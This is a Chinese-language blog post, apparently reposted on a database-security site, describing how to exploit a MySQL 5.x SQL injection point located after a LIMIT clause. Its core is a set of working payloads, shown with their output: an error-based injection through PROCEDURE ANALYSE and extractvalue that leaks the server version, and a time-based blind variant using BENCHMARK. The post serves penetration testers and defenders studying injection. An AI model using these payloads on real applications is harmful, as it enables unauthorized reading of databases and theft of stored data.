欢迎投稿

今日深度:

Mysql注入点在limit关键字后面的利用方法

Mysql注入点在limit关键字后面的利用方法


描写sql注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景。

Mysql注入点在limit关键字后面的利用方法

细节

在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 注入点】

问题的关键在于,语句中有order by 关键字,我们知道,mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面没有order by 关键字,就可以顺利的使用union 关键字,但是现在的情况是,注入点前面有order by 关键字,这个问题在stackoverflow 上和sla.ckers上都有讨论,但是都没有什么有效的解决办法。

我们先看看 mysql 5.x 的文档中的 select 的语法:

  1. SELECT 
  2. [ALL | DISTINCT | DISTINCTROW ]  
  3. [HIGH_PRIORITY]  
  4. [STRAIGHT_JOIN]  
  5. [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]  
  6. [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]  
  7. select_expr [, select_expr ...]  
  8. [FROM table_references  
  9. [WHERE where_condition]  
  10. [GROUP BY {col_name | expr | position}  
  11. [ASC | DESC], ... [WITH ROLLUP]]  
  12. [HAVING where_condition]  
  13. [ORDER BY {col_name | expr | position}  
  14. [ASC | DESC], ...]  
  15. [LIMIT {[offset,] row_count | row_count OFFSET offset}]  
  16. [PROCEDURE procedure_name(argument_list)]  
  17. [INTO OUTFILE 'file_name' export_options  
  18. INTO DUMPFILE 'file_name' 
  19. INTO var_name [, var_name]]  
  20. [FOR UPDATE | LOCK IN SHARE MODE]]  

limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。

尝试用这个存储过程:

  1. mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);  
  2. ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
  3.  

ANALYSE支持两个参数,试试两个参数:

  1. mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);  
  2. ERROR 1386 (HY000): Can't use ORDER clause with this procedure 
  3.  

依然无效,尝试在 ANALYSE 中插入 sql 语句:

  1. mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);  

响应如下:

  1. ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’ 

事实证明,sleep 没有被执行,最终,我尝试了如下payload :

  1. mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);  
  2. ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1' 
  3.  

啊哈,上面的方法就是常见的报错注入,所以,如果注入点支持报错,那所有问题都ok,但是如果注入点不是报错的,还可以使用 time-based 的注入,payload 如下:

  1. SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)  

有意思的是,这里不能用sleep而只能用 BENCHMARK。

另外,这里还有一种类似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30



www.htsjk.Com true http://www.htsjk.com/shujukuaq/16962.html NewsArticle Mysql注入点在limit关键字后面的利用方法 描写sql注入利用方法的文章数不胜数,本文将描述一种比较特殊的场景。 细节 在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决...
评论暂时关闭